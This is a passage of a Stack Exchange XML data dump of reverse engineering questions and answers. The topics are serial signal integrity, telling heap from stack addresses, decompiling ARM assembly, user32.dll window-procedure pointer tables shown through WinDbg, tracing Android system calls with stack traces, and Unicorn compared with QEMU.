that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, i see trouble with that signal even if you use the correct bit rate. The slopes of the raising and falling edges of your signal are, in some cases, way too flat - see the green markers. And there are spikes that look like line noise (red markers). To my eye, this looks like there's too much capacitance on that data line. This could explain the flat slopes - the serial driver isn't able to put out enough current to raise the signal against the capacitance - and it could explain the red markers as well - a short pulse on TX doesn't even manage to raise the voltage to the value it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, i'm a bit out of my depth here. Maybe the friendly people at &lt;a href=&quot;https://electronics.stackexchange.com/&quot;&gt;the EE stack exchange&lt;/a&gt; can be a bit more helpful fixing this.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-04-13T12:33:10.963" LastActivityDate="2016-04-25T06:31:10.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12527" PostTypeId="2" ParentId="12524" CreationDate="2016-04-25T09:44:19.313" Score="2" Body="&lt;p&gt;As you're saying you're using ELF code, i assume you're running under Linux, or another unix-y system. And &lt;code&gt;proc/self/maps&lt;/code&gt; (you don't have to &lt;code&gt;getpid()&lt;/code&gt; and use &lt;code&gt;/proc/XXX/maps&lt;/code&gt;, really) hints at Linux as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One problem i see is the definition of &lt;code&gt;heap&lt;/code&gt; - what about memory mapped regions, do they count as &quot;heap&quot; or not? Linux &lt;code&gt;malloc&lt;/code&gt; uses &lt;code&gt;mmap&lt;/code&gt; in some cases instead of expanding the heap, which is typically done by &lt;code&gt;brk&lt;/code&gt; (which may itself be just a wrapper around &lt;code&gt;mmap&lt;/code&gt;/&lt;code&gt;mremap&lt;/code&gt; depending on your libc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to trace everything that's in &lt;code&gt;malloc&lt;/code&gt;ed memory, i'd just compare the address to the end of the code segment (but beware of dynamic libraries; or omit that comparison completely as code typically isn't read and can't be written anyway) and the current value of the stack pointer. If the address is below the stack pointer, assume heap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to trace what's in the original, &lt;code&gt;brk&lt;/code&gt;-managed heap only, read your memory map just once at the start, getting the heap start address, and monitor &lt;code&gt;brk&lt;/code&gt; calls, adjusting the end address after each &lt;code&gt;brk&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On x64, &quot;below the stack pointer&quot; must be taken with a grain of salt. On 16- and 32-bit x86 processors, anything below the stack pointer can be clobbered by hardware interrupts at any time, so &lt;code&gt;sp&lt;/code&gt;/&lt;code&gt;esp&lt;/code&gt; are a barrier to what software can use. On 64 bit processors, however, &lt;a href=&quot;http://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64/&quot; rel=&quot;nofollow&quot;&gt;the ABI guarantees that 128 bytes below the stack pointer aren't changed by interrupts&lt;/a&gt;, so the compiler is free to use them (and will do so in leaf functions). Which means, you really need to compare your address to &lt;code&gt;esp-0x80&lt;/code&gt; if you're dealing with x64 code.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2016-04-25T17:31:24.403" LastActivityDate="2016-04-25T17:31:24.403" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="12530" PostTypeId="1" CreationDate="2016-04-25T20:45:59.383" Score="-1" ViewCount="3159" Body="&lt;p&gt;Is there an easy to convert assembly (ARM) to C code?&lt;/p&gt;&#xA;" OwnerUserId="15910" LastEditorUserId="15910" LastEditDate="2016-04-26T17:37:56.523" LastActivityDate="2016-04-26T17:37:56.523" Title="How to convert assembly to C code" Tags="|assembly|c|arm|" AnswerCount="1" CommentCount="0" ClosedDate="2016-04-26T16:01:52.747" ContentLicense="CC BY-SA 3.0" />
  <row Id="12532" PostTypeId="2" ParentId="12523" CreationDate="2016-04-25T21:51:42.803" Score="3" Body="&lt;p&gt;Your signal is very degraded: your rise and fall times are too slow relative to the bit rate. If the signal really looks as your scope plot shows, and this is not just a measurement issue, then it's no surprise that you cannot get coherent data out of it. Serial port signals should have very clean and well-defined rise and fall times relative to the baud rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To begin with, try getting the cleanest possible scope trace. Zoom in more - at the horizontal timebase that you're using, with those messy pulses, getting a good idea of what's going on is difficult. Then, make sure you're using your scope's 10x mode on the probe, and that any loading features (e.g. 75Ω termination) are off. Make sure your probe's ground is solid, and that there is nothing else on the TX line other than your scope. Then, measure again. What scope are you using?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming this is a standard asynchronous serial signal, there should be a high-to-low transition marking the start of every byte (the start bit). For continuous transmissions, these should be spaced out evenly. Looking at your top plot, it &lt;em&gt;looks&lt;/em&gt; like this might be the case, but I'm having a hard time aligning a grid like that to your bottom plot. Try to improve your signal quality as much as possible, then zoom in to a sparse (mostly-zero) section of the capture and see if you can confirm a pattern like that. If this is ASCII, you should be able to find some space characters, which are 0x20, and should be represented by the bit sequence 0000001001 (or 000000100x1 if parity is enabled, append another 1 or half of it if there are 2 or 1.5 stopbits respectively). If you can't find the evenly spaced out start bit transitions, then this probably isn't a standard UART output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, things should be a lot clearer once you solve your signal integrity issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: also make sure your scope probe is properly compensated!&lt;/p&gt;&#xA;" OwnerUserId="15911" LastEditorUserId="15911" LastEditDate="2016-04-25T21:57:38.897" LastActivityDate="2016-04-25T21:57:38.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12533" PostTypeId="2" ParentId="12530" CreationDate="2016-04-26T07:00:07.720" Score="1" Body="&lt;pre&gt;&lt;code&gt;void func(char *r0, int r1, int r2) {&#xA;    char *r12, r3;&#xA;    int r4, r5;&#xA;    if (r1&amp;gt;=r2)&#xA;        goto l1;&#xA;l2:&#xA;    r12=r0+r2&amp;lt;&amp;lt;2;&#xA;    r3=r0+r1&amp;lt;&amp;lt;2;&#xA;    r4=*(int *)r12;&#xA;    r5=*(int *)r3;&#xA;    r1++;&#xA;    r2--;&#xA;    *((int *)(&amp;amp;(r12[-4])))=r5;&#xA;    *((int *)(&amp;amp;(r3[-4])))=r4;&#xA;    if (r1&amp;lt;r2)&#xA;        goto l2;&#xA;l1:&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another example why reverse engineering is not about converting assembler to C, but about understanding what's going on. (This function seems to reverse the elements of an array).&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-04-26T07:00:07.720" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12537" PostTypeId="1" AcceptedAnswerId="12538" CreationDate="2016-04-27T01:28:18.723" Score="0" ViewCount="803" Body="&lt;p&gt;In the disassembly of user32.dll, I see tables of function pointers like the one below in .text section. It doesn't look like vftable or switch/case table. Can you please give any insight about what this table is for?  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:6BA87530 off_6BA87530    dd offset sub_6BAD4C1E  &#xA;.text:6BA87534 dword_6BA87534  dd 0                    &#xA;.text:6BA87538                 dd offset sub_6BA890C6&#xA;.text:6BA8753C                 align 10h&#xA;.text:6BA87540                 dd offset sub_6BAD4B0A&#xA;.text:6BA87544                 align 8&#xA;.text:6BA87548                 dd offset sub_6BAD4730&#xA;.text:6BA8754C                 align 10h&#xA;.text:6BA87550                 dd offset sub_6BA890C6&#xA;.text:6BA87554                 align 8&#xA;.text:6BA87558                 dd offset sub_6BA890C6&#xA;.text:6BA8755C                 align 10h&#xA;.text:6BA87560                 dd offset sub_6BA890C6&#xA;.text:6BA87564                 align 8&#xA;.text:6BA87568                 dd offset sub_6BACCCB6&#xA;.text:6BA8756C                 align 10h&#xA;.text:6BA87570                 dd offset sub_6BAD5EE1&#xA;.text:6BA87574                 align 8&#xA;.text:6BA87578                 dd offset sub_6BAE82EE&#xA;.text:6BA8757C                 align 10h&#xA;.text:6BA87580                 dd offset sub_6BA9D3D5&#xA;.text:6BA87584                 align 8&#xA;.text:6BA87588                 dd offset sub_6BAE2428&#xA;.text:6BA8758C                 align 10h&#xA;.text:6BA87590                 dd offset sub_6BAE83F1&#xA;.text:6BA87594                 align 8&#xA;.text:6BA87598                 dd offset sub_6BAA9760&#xA;.text:6BA8759C                 align 10h&#xA;.text:6BA875A0                 dd offset sub_6BA9F560&#xA;.text:6BA875A4                 align 8&#xA;.text:6BA875A8                 dd offset loc_6BA8DA5B&#xA;.text:6BA875AC                 align 10h&#xA;.text:6BA875B0                 dd offset sub_6BA890C6&#xA;.text:6BA875B4                 align 8&#xA;.text:6BA875B8                 dd offset sub_6BA87CA1&#xA;.text:6BA875BC                 align 10h&#xA;.text:6BA875C0                 dd offset sub_6BAD41C5&#xA;.text:6BA875C4                 align 8&#xA;.text:6BA875C8                 dd offset sub_6BA893E9&#xA;.text:6BA875CC                 align 10h&#xA;.text:6BA875D0                 dd offset sub_6BA9B419&#xA;.text:6BA875D4                 align 8&#xA;.text:6BA875D8                 dd offset sub_6BA87B11&#xA;.text:6BA875DC                 align 10h&#xA;.text:6BA875E0                 dd offset sub_6BAEFB8A&#xA;.text:6BA875E4                 align 8&#xA;.text:6BA875E8 off_6BA875E8    dd offset sub_6BAD4BFD  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The start and end addresses (&lt;code&gt;off_6BA87530, off_6BA875E8&lt;/code&gt;) are referenced by code snippets like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:6BA8FFE8                 push    eax&#xA;.text:6BA8FFE9                 push    offset off_6BA87530&#xA;.text:6BA8FFEE                 push    eax&#xA;.text:6BA8FFEF                 push    offset off_6BA875E8&#xA;.text:6BA8FFF4                 call    ds:RtlInitializeNtUserPfn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:6BA9D84F                 mov     esi, ds:off_6BA87530[eax*8]&#xA;.text:6BA9D856                 mov     [ebp+var_40], esi&#xA;.text:6BA9D859                 mov     eax, ds:dword_6BA87534[eax*8]&#xA;.text:6BA9D860                 mov     [ebp+var_3C], eax&#xA;.text:6BA9D863                 jmp     loc_6BA87A7C &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;Adding the code snippets of functions referred to by first two addresses:  &lt;code&gt;sub_6BAD4C1E, sub_6BA890C6&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7zU2d.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7zU2d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BF73S.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BF73S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15268" LastEditorUserId="15268" LastEditDate="2016-04-27T23:48:52.333" LastActivityDate="2016-04-28T10:04:26.810" Title="Table of Function Pointers in .text section" Tags="|ida|disassembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12538" PostTypeId="2" ParentId="12537" CreationDate="2016-04-27T08:30:47.713" Score="0" Body="&lt;p&gt;RtlInitializeUserPfn  &lt;code&gt;rep movsds&lt;/code&gt; &lt;strong&gt;(memcpy())&lt;/strong&gt; those address to ntdll!_NtUserPfn  (most of the addresses are Windowsproc buttonproc callbacks &lt;/p&gt;&#xA;&#xA;&lt;p&gt;what windows version are you on iirc these functions weren't implemented until win 8 &#xA;see below &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0:000&gt; u ntdll!NtdllDispatchDefWindowProc_W l1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ntdll!NtdllDispatchDefWindowProc_W:&#xA;77e039f4 ff25ac80e377    jmp     dword ptr [ntdll!NtUserPfn+0xac (77e380ac)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0:000&gt; ln poi(77e380ac)&lt;/strong&gt;&#xA;    ntdll!UninitUser32Proc ()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0:000&gt; uf ntdll!UninitUser32Proc&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ntdll!UninitUser32Proc:&#xA;77e03aa4 6896a0da77      push    offset ntdll! ?? ::FNODOBFM::`string' (77daa096)&#xA;77e03aa9 6a00            push    0&#xA;77e03aab 6a00            push    0&#xA;77e03aad e884dff7ff      call    ntdll!DbgPrintEx (77d81a36)&#xA;77e03ab2 83c40c          add     esp,0Ch&#xA;77e03ab5 cc              int     3&#xA;77e03ab6 680d0000c0      push    0C000000Dh&#xA;77e03abb 6aff            push    0FFFFFFFFh&#xA;77e03abd e8062efaff      call    ntdll!NtTerminateProcess (77da68c8)&#xA;77e03ac2 33c0            xor     eax,eax&#xA;77e03ac4 c3              ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0:000&gt; da 77daa096&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;77daa096  &quot;User32 init not called&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;windows 7 user32!DllInit routine fills the array itself &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;user32!InitializeNtdllUserPfn:&#xA;77d2d787 b86606d277      mov     eax,offset user32!ImeWndProcW (77d20666)&#xA;77d2d78c a36096d777      mov     dword ptr [user32!gDefaultClasses+0x100 (77d79660)],eax&#xA;77d2d791 a30091d777      mov     dword ptr [user32!g_pfnImeWndProcW (77d79100)],eax&#xA;77d2d796 b9063fd677      mov     ecx,offset user32!EditWndProcW (77d63f06)&#xA;77d2d79b 33c0            xor     eax,eax&#xA;77d2d79d c7056495d7770449d377 mov dword ptr [user32!gDefaultClasses+0x4 (77d79564)],offset user32!ButtonWndProcW (77d34904)&#xA;77d2d7a7 c7058895d7779de0d577 mov dword ptr [user32!gDefaultClasses+0x28 (77d79588)],offset user32!ComboBoxWndProcW (77d5e09d)&#xA;77d2d7b1 c705ac95d777ae0dd477 mov dword ptr [user32!gDefaultClasses+0x4c (77d795ac)],offset user32!ListBoxWndProcW (77d40dae)&#xA;77d2d7bb c705d095d777c15bd477 mov dword ptr [user32!gDefaultClasses+0x70 (77d795d0)],offset user32!DefDlgProcW (77d45bc1)&#xA;77d2d7c5 890df495d777    mov     dword ptr [user32!gDefaultClasses+0x94 (77d795f4)],ecx&#xA;77d2d7cb c7051896d777ae0dd477 mov dword ptr [user32!gDefaultClasses+0xb8 (77d79618)],offset user32!ListBoxWndProcW (77d40dae)&#xA;77d2d7d5 c7053c96d777df14d477 mov dword ptr [user32!gDefaultClasses+0xdc (77d7963c)],offset user32!MDIClientWndProcW (77d414df)&#xA;77d2d7df c7058496d7778b3ad377 mov dword ptr [user32!gDefaultClasses+0x124 (77d79684)],offset user32!StaticWndProcW (77d33a8b)&#xA;77d2d7e9 c7055c97d7777d50d277 mov dword ptr [user32!gDefaultClasses+0x1fc (77d7975c)],offset user32!DefWindowProcW (77d2507d)&#xA;77d2d7f3 c7053891d777f8b5d377 mov dword ptr [user32!g_pfnEditWndProcA (77d79138)],offset user32!EditWndProcA (77d3b5f8)&#xA;77d2d7fd 890d2091d777    mov     dword ptr [user32!g_pfnEditWndProcW (77d79120)],ecx&#xA;77d2d803 40              inc     eax&#xA;77d2d804 c3              ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;while some other user32.dll &gt; win7 calls a forwarded import in ntdll &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;user32!InitializeNtdllUserPfn:&#xA;00000001`80022e98 4c8bdc          mov     r11,rsp&#xA;00000001`80022e9b 4883ec38        sub     rsp,38h&#xA;00000001`80022e9f 4983631000      and     qword ptr [r11+10h],0&#xA;00000001`80022ea4 4983630800      and     qword ptr [r11+8],0&#xA;00000001`80022ea9 4983631800      and     qword ptr [r11+18h],0&#xA;00000001`80022eae 488d05eba50000  lea     rax,[user32!pfnClientWorker (00000001`8002d4a0)]&#xA;00000001`80022eb5 bab8000000      mov     edx,0B8h&#xA;00000001`80022eba 49c743f058000000 mov     qword ptr [r11-10h],58h&#xA;00000001`80022ec2 4c8d0537a60000  lea     r8,[user32!pfnClientW (00000001`8002d500)]&#xA;00000001`80022ec9 488d0df0a60000  lea     rcx,[user32!pfnClientA (00000001`8002d5c0)]&#xA;00000001`80022ed0 448bca          mov     r9d,edx&#xA;00000001`80022ed3 498943e8        mov     qword ptr [r11-18h],rax&#xA;00000001`80022ed7 ff155b520800    call    qword ptr [user32!_imp_RtlInitializeNtUserPfn (00000001`800a8138)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with windbg you can retrieve all the wndprocs that are memcpied thus using some script like below &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.for(r $t0=0 ; @$t0 &amp;lt; (60+c0+c0) ; r $t0 = @$t0+8) { .printf &quot;%y %y\n&quot; , user32!pfnClientWorker+@$t0 , poi(user32!pfnClientWorker +@$t0) }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which would get you result like this (read with the disassembly posted above of a random(winblue) user32.dll that implements the forwarded import &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;user32!pfnClientWorker (00000001`8002d4a0) user32!ButtonWndProcWorker (00000001`8001c760)&#xA;user32!pfnClientWorker+0x8 (00000001`8002d4a8) user32!ComboBoxWndProcWorker (00000001`80060c38)&#xA;user32!pfnClientWorker+0x10 (00000001`8002d4b0) user32!ListBoxWndProcWorker (00000001`80077fa0)&#xA;user32!pfnClientWorker+0x18 (00000001`8002d4b8) user32!DefDlgProcWorker (00000001`8001ebf0)&#xA;user32!pfnClientWorker+0x20 (00000001`8002d4c0) user32!EditWndProcWorker (00000001`80031354)&#xA;user32!pfnClientWorker+0x28 (00000001`8002d4c8) user32!ListBoxWndProcWorker (00000001`80077fa0)&#xA;user32!pfnClientWorker+0x30 (00000001`8002d4d0) user32!MDIClientWndProcWorker (00000001`80036400)&#xA;user32!pfnClientWorker+0x38 (00000001`8002d4d8) user32!StaticWndProcWorker (00000001`8001f0a0)&#xA;user32!pfnClientWorker+0x40 (00000001`8002d4e0) user32!ImeWndProcWorker (00000001`80008e14)&#xA;user32!pfnClientWorker+0x48 (00000001`8002d4e8) user32!DefWindowProcWorker (00000001`80008ef0)&#xA;user32!pfnClientWorker+0x50 (00000001`8002d4f0) user32!CtfHookProcWorker (00000001`80005d44)&#xA;user32!pfnClientWorker+0x58 (00000001`8002d4f8) 90909090`90909090&#xA;user32!pfnClientW (00000001`8002d500) user32!ScrollBarWndProcW (00000001`8005f6cc)&#xA;user32!pfnClientW+0x8 (00000001`8002d508) user32!DefWindowProcW (00000001`80002d60)&#xA;user32!pfnClientW+0x10 (00000001`8002d510) user32!MenuWndProcW (00000001`8005f574)&#xA;user32!pfnClientW+0x18 (00000001`8002d518) user32!DesktopWndProcW (00000001`8005f138)&#xA;user32!pfnClientW+0x20 (00000001`8002d520) user32!DefWindowProcW (00000001`80002d60)&#xA;user32!pfnClientW+0x28 (00000001`8002d528) user32!DefWindowProcW (00000001`80002d60)&#xA;user32!pfnClientW+0x30 (00000001`8002d530) user32!DefWindowProcW (00000001`80002d60)&#xA;user32!pfnClientW+0x38 (00000001`8002d538) user32!ButtonWndProcW (00000001`8001c6cc)&#xA;user32!pfnClientW+0x40 (00000001`8002d540) user32!ComboBoxWndProcW (00000001`80060ad8)&#xA;user32!pfnClientW+0x48 (00000001`8002d548) user32!ComboListBoxWndProcW (00000001`80077ed4)&#xA;user32!pfnClientW+0x50 (00000001`8002d550) user32!DefDlgProcW (00000001`8001eb7c)&#xA;user32!pfnClientW+0x58 (00000001`8002d558) user32!EditWndProcW (00000001`800312c4)&#xA;user32!pfnClientW+0x60 (00000001`8002d560) user32!ComboListBoxWndProcW (00000001`80077ed4)&#xA;user32!pfnClientW+0x68 (00000001`8002d568) user32!MDIClientWndProcW (00000001`8003634c)&#xA;user32!pfnClientW+0x70 (00000001`8002d570) user32!StaticWndProcW (00000001`8001f050)&#xA;user32!pfnClientW+0x78 (00000001`8002d578) user32!ImeWndProcW (00000001`80008da0)&#xA;user32!pfnClientW+0x80 (00000001`8002d580) user32!DefWindowProcW (00000001`80002d60)&#xA;user32!pfnClientW+0x88 (00000001`8002d588) user32!fnHkINLPCWPSTRUCTW (00000001`80003da0)&#xA;user32!pfnClientW+0x90 (00000001`8002d590) user32!fnHkINLPCWPRETSTRUCTW (00000001`80012c40)&#xA;user32!pfnClientW+0x98 (00000001`8002d598) user32!DispatchHookW (00000001`80003d20)&#xA;user32!pfnClientW+0xa0 (00000001`8002d5a0) user32!DispatchDefWindowProcW (00000001`8000ed34)&#xA;user32!pfnClientW+0xa8 (00000001`8002d5a8) user32!DispatchClientMessage (00000001`800038f0)&#xA;user32!pfnClientW+0xb0 (00000001`8002d5b0) user32!MDIActivateDlgProcA (00000001`80080100)&#xA;user32!pfnClientW+0xb8 (00000001`8002d5b8) 90909090`90909090&#xA;user32!pfnClientA (00000001`8002d5c0) user32!ScrollBarWndProcA (00000001`8005f6b0)&#xA;user32!pfnClientA+0x8 (00000001`8002d5c8) user32!DefWindowProcA (00000001`8000ad38)&#xA;user32!pfnClientA+0x10 (00000001`8002d5d0) user32!MenuWndProcA (00000001`8005f558)&#xA;user32!pfnClientA+0x18 (00000001`8002d5d8) user32!DesktopWndProcA (00000001`8005f11c)&#xA;user32!pfnClientA+0x20 (00000001`8002d5e0) user32!DefWindowProcA (00000001`8000ad38)&#xA;user32!pfnClientA+0x28 (00000001`8002d5e8) user32!DefWindowProcA (00000001`8000ad38)&#xA;user32!pfnClientA+0x30 (00000001`8002d5f0) user32!DefWindowProcA (00000001`8000ad38)&#xA;user32!pfnClientA+0x38 (00000001`8002d5f8) user32!ButtonWndProcA (00000001`8005c620)&#xA;user32!pfnClientA+0x40 (00000001`8002d600) user32!ComboBoxWndProcA (00000001`80060970)&#xA;user32!pfnClientA+0x48 (00000001`8002d608) user32!ComboListBoxWndProcA (00000001`80077e40)&#xA;user32!pfnClientA+0x50 (00000001`8002d610) user32!DefDlgProcA (00000001`8006a3d8)&#xA;user32!pfnClientA+0x58 (00000001`8002d618) user32!EditWndProcA (00000001`8006ec64)&#xA;user32!pfnClientA+0x60 (00000001`8002d620) user32!ComboListBoxWndProcA (00000001`80077e40)&#xA;user32!pfnClientA+0x68 (00000001`8002d628) user32!MDIClientWndProcA (00000001`80081450)&#xA;user32!pfnClientA+0x70 (00000001`8002d630) user32!StaticWndProcA (00000001`80086268)&#xA;user32!pfnClientA+0x78 (00000001`8002d638) user32!ImeWndProcA (00000001`8008dad0)&#xA;user32!pfnClientA+0x80 (00000001`8002d640) user32!DefWindowProcA (00000001`8000ad38)&#xA;user32!pfnClientA+0x88 (00000001`8002d648) user32!fnHkINLPCWPSTRUCTA (00000001`8008c850)&#xA;user32!pfnClientA+0x90 (00000001`8002d650) user32!fnHkINLPCWPRETSTRUCTA (00000001`8008c790)&#xA;user32!pfnClientA+0x98 (00000001`8002d658) user32!DispatchHookA (00000001`8008bea0)&#xA;user32!pfnClientA+0xa0 (00000001`8002d660) user32!DispatchDefWindowProcA (00000001`8008be84)&#xA;user32!pfnClientA+0xa8 (00000001`8002d668) user32!DispatchClientMessage (00000001`800038f0)&#xA;user32!pfnClientA+0xb0 (00000001`8002d670) user32!MDIActivateDlgProcA (00000001`80080100)&#xA;user32!`string' (00000001`8002d678) 4c4e4e49`576d6d49&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2016-04-28T10:04:26.810" LastActivityDate="2016-04-28T10:04:26.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12539" PostTypeId="1" CreationDate="2016-04-27T09:43:33.923" Score="7" ViewCount="1918" Body="&lt;p&gt;I have an android app that reads/writes a data file which seems to be encrypted, and i want to make a tool to read/write that file, so i need to reverse the encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The app in question consists of a few hundred classes and several .so libraries, and grepping through the classes and the output of &lt;code&gt;strings&lt;/code&gt; on the .so files doesn't find the name of the game file (i tried case-sensitive, omitting the extension, and all that stuff), so the &quot;easy&quot; way to find the function doesn't work. So, what i want to do is intercept calls to the &lt;code&gt;open&lt;/code&gt; system call, and check the stacks (dalvik and C) for the callers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Windows, this is quite easy using &lt;code&gt;procmon&lt;/code&gt; which saves the stack of each system call; on Linux, there is &lt;code&gt;strace -i&lt;/code&gt; which doesn't give me a stack backtrace, but at least an IP value; also, i could make a named pipe having the filename in question to make the app block on opening it and attach gdb to get the backtrace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with using &lt;code&gt;strace&lt;/code&gt; and or a debugger on android is that i a) it seems to be non-trivial to get a version of &lt;code&gt;strace&lt;/code&gt; that works with a particular OS level of android, b) when i try the named pipe approach, the app just exits, c) unless the whole encryption stuff is done in one of the &lt;code&gt;.so&lt;/code&gt; libraries, i need the Java stack as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;http://newandroidbook.com/tools/jtrace.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;jtrace&lt;/a&gt; which seems to be a replacement for &lt;code&gt;strace&lt;/code&gt;, but doesnt show the stack, and &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1714/dynamic-java-instrumentation&quot;&gt;this question&lt;/a&gt; has some links, but they seem to be targetted at instrumentation/profiling, not what i need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question really is in the title: Is there a tool that traces system calls on android, and shows the stack trace, like &lt;code&gt;procmon&lt;/code&gt; does on windows, including the java stack if possible? Or another idea to quickly find the code that opens and decrypts the file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all else fails, i'll probably attach IDA to the process, put a breakpoint on &lt;code&gt;open&lt;/code&gt;, and write a breakpoint condition that checks the file name. But that still won't give me the java stack, and i'd like to avoid the effort if there's a &quot;nicer&quot; tool.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2020-09-02T07:05:39.830" Title="Trace system calls, including stack (and java stack if possible), on android?" Tags="|android|java|callstack|system-call|dalvik|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12540" PostTypeId="1" AcceptedAnswerId="12541" CreationDate="2016-04-27T11:13:20.223" Score="6" ViewCount="4628" Body="&lt;p&gt;The Unicorn &lt;a href=&quot;http://www.unicorn-engine.org/docs/beyond_qemu.html&quot; rel=&quot;noreferrer&quot;&gt;website&lt;/a&gt; lists some differences between Unicorn and QEMU, especially those differences &amp;quot;where Unicorn shines&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;They furthermore write:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A notable difference between Unicorn and QEMU is that we only focus on emulating CPU operations, but do not handle other parts of computer machine like QEMU.&lt;/p&gt;&#xA;&lt;p&gt;[...] we stripped all the subsystems that do not involve in CPU emulation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I am trying to understand what this actually means, i.e. when to choose QEMU and when Unicorn. Especially, what are concrete example use cases (in the area of reverse engineering) in which Unicorn*) cannot be used, but QEMU can ?&lt;/p&gt;&#xA;&lt;p&gt;*) or any tools based on Unicorn such as &lt;a href=&quot;https://github.com/lunixbochs/usercorn&quot; rel=&quot;noreferrer&quot;&gt;usercorn&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-08-16T08:35:48.177" Title="Unicorn and QEMU: Example use cases to understand the differences" Tags="|dynamic-analysis|qemu|emulation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12541" PostTypeId="2" ParentId="12540" CreationDate="2016-04-27T12:18:25.680" Score="8" Body="&lt;h2&gt;What does &quot;&lt;em&gt;(not) emulating hardware other than the CPU&lt;/em&gt;&quot; mean?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This means that whenever the software being emulated accesses hardware, it won't work in Unicorn in the same way as on actual hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have several questions about emulating firmware on QEMU. The general answer is that, when you try booting a firmware kernel in QEMU, that kernel will access some I/O ports, but in the emulated environment, those I/O ports won't react in the way they should. For example, an input bit that signals &quot;device ready&quot; will be stuck in one state, instead of toggling between true and false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make your software work as intended, you need to emulate this hardware as well - for example, your emulator needs to know something like: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bit 3 of the 